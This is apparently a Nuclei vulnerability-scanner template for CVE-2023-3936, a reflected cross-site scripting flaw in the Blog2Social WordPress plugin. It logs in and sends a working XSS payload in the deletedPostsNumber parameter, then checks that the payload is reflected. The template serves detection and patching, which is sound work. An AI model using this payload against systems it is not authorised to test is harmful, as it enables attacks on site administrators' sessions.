id: CVE-2023-3936

info:
  name: Blog2Social < 7.2.1 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: |
    The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Blog2Social plugin (7.2.1) or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6d09a5d3-046d-47ef-86b4-c024ea09dc0f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3936
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3936
    cwe-id: CWE-79
    epss-score: 0.0093
    epss-percentile: 0.55895
    cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: adenion
    product: blog2social
    framework: wordpress
  tags: cve2023,cve,wpscan,wordpress,wp-plugin,xss,authenticated,adenion,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=blog2social&origin=publish_post&deletePostStatus=success&deletedPostsNumber=1<img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Deleted 1<img src onerror=alert(document.domain)> posts"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e9b5380863c6abe3e2a740dfc9ab0b22641e82e30483d6fdec30df6b3e14b3fc02204249532ce529cc88d1acc748e05175db722c8eff86d2f01a21d65aa52b8abbb1:922c64590222798bb761d5b6d8e72950